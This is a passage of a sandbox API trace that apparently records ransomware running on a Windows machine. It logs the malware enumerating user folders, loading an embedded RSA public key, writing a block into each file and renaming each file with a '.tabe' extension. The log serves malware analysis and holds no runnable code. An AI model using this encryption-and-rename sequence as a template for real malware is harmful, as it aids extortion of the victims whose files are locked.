String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.887] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.888] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.888] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.tabe")) returned 1 [0127.889] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0127.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.890] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=906752) returned 1 [0127.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.891] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.891] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.892] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.893] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x25805, lpOverlapped=0x0) returned 1 [0127.895] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.895] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.896] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.896] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.896] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.896] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.896] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.896] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.896] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.896] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.896] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.897] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.897] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.897] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.tabe")) returned 1 [0127.899] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.899] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.899] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.899] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a88da60, ftCreationTime.dwHighDateTime=0x1d5df02, ftLastAccessTime.dwLowDateTime=0xe2db7400, ftLastAccessTime.dwHighDateTime=0x1d5e7fe, ftLastWriteTime.dwLowDateTime=0xe2db7400, ftLastWriteTime.dwHighDateTime=0x1d5e7fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.900] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\RGG Ax1 CIoUf.bmp") returned=".bmp" [0127.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\RGG Ax1 CIoUf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\bury9u8qd_k1tp7vht\\rgg ax1 ciouf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.901] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=43606) returned 1 [0127.901] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.902] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaa30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.902] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.903] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xaa56, lpOverlapped=0x0) returned 1 [0127.906] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.906] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.907] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.907] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.907] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.907] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.907] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.907] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.907] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.907] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.907] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.907] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.908] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaa56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.908] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.908] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\RGG Ax1 CIoUf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\bury9u8qd_k1tp7vht\\rgg ax1 ciouf.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\RGG Ax1 CIoUf.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\bury9u8qd_k1tp7vht\\rgg ax1 ciouf.bmp.tabe")) returned 1 [0127.910] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\ToCKY9yIX2.mkv") returned=".mkv" [0127.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\ToCKY9yIX2.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\bury9u8qd_k1tp7vht\\tocky9yix2.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.910] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=81134) returned 1 [0127.910] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.911] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13cc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.911] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.913] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.913] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13cee, lpOverlapped=0x0) returned 1 [0127.914] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.914] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.915] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.915] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.915] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.915] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.915] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.915] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.915] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.915] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.915] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.915] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.916] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13cee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.916] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.916] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\ToCKY9yIX2.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\bury9u8qd_k1tp7vht\\tocky9yix2.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\QWknIzbnk0DsmMMws2\\buRy9u8qd_k1tP7VhT\\ToCKY9yIX2.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\qwknizbnk0dsmmmws2\\bury9u8qd_k1tp7vht\\tocky9yix2.mkv.tabe")) returned 1 [0127.917] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.917] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.918] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.918] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.919] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.919] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.920] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.921] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.921] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0127.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.922] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=13) returned 1 [0127.922] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.923] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd, lpOverlapped=0x0) returned 1 [0127.924] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.924] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0127.925] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.925] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.925] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.925] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.925] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.925] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0127.925] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.925] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.925] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.925] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3b04138, Size=0x218) returned 0x3af7be8 [0127.925] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.925] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.926] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.tabe")) returned 1 [0127.927] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.927] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.927] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 